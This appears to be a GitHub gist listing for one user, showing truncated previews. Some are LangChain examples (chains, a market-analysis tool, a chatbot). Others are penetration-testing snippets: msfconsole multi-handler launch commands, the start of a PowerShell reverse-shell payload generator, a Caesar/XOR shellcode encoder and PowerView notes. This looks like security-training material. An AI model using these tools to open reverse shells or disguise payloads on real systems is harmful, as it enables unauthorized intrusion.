siddicky

siddicky

Langchain Sequential Chain

Requirements

Construct a runnable which returns a dictionary with the following structure:

{
  "question": "Placeholder",
  "rude_response": "Output from chain one",
 "analysis": "Output from chain two"

siddicky

LangChain Market Analysis Tool (Example)

This Python tool leverages the LangChain framework to suggest products that could be successful in various industries and performs market analysis through parallel execution chains. It uses OpenAI's GPT-3.5 model for generating insights based on the given industry sector.

Features

• Model Definitions: Defines Pydantic models for handling company, subsidiary, and ticker data, ensuring type safety and easy data manipulation.
• Sequential Chains: Constructs a sequential chain for generating product suggestions within a specific industry.
• Parallel Chains: Implements parallel execution chains to analyze multiple industries simultaneously, showcasing the power of RunnableParallel for concurrent data processing.
• Dynamic Environment Configuration: Uses environment variables for OpenAI API credentials, promoting security and ease of configuration.

siddicky

Host IP
192.168.100.1

Launch msfconsole

service postgresql start
sudo msfdb start
msfconsole -qr /home/siddicky/tools/multi-handler.rc

siddicky

"""QA Chatbot streaming using FastAPI, LangChain Expression Language , OpenAI, and Chroma.

Features
--------
- Persistent Chat Memory:
    Stores chat history in a local file.
- Persistent Vector Store:
    Stores document embeddings in a local vector store.
- Standalone Question Generation:
    Rephrases follow-up questions to standalone questions in their original language.

siddicky

#!/bin/bash
## Offensive-Security's troubleshooting script
## Last updated: 2017-03-20


## Bash colours
YELLOW="\033[01;33m"
BLUE="\033[01;34m"
BOLD="\033[01;01m"
RED="\033[01;31m"

siddicky

Generate powershell reverse shell

ps_gen.py

import sys
import base64

def help():
    print("USAGE: %s IP PORT" % sys.argv[0])
 print("Returns reverse shell PowerShell base64 encoded cmdline payload connecting to IP:PORT")

siddicky

#!/usr/bin/env python3
import argparse
import binascii

def encode_caesar(buf, args):
	return [(c + args.shift) % 256 for c in buf]

def encode_xor(buf, args):
	return [(c ^ args.shift) % 256 for c in buf]

siddicky

# PowerView's last major overhaul is detailed here: http://www.harmj0y.net/blog/powershell/make-powerview-great-again/
#   tricks for the 'old' PowerView are at https://gist.github.com/HarmJ0y/3328d954607d71362e3c

# the most up-to-date version of PowerView will always be in the dev branch of PowerSploit:
#   https://github.com/PowerShellMafia/PowerSploit/blob/dev/Recon/PowerView.ps1

# New function naming schema:
#   Verbs:
#       Get : retrieve full raw data sets
#       Find : ‘find’ specific data entries in a data set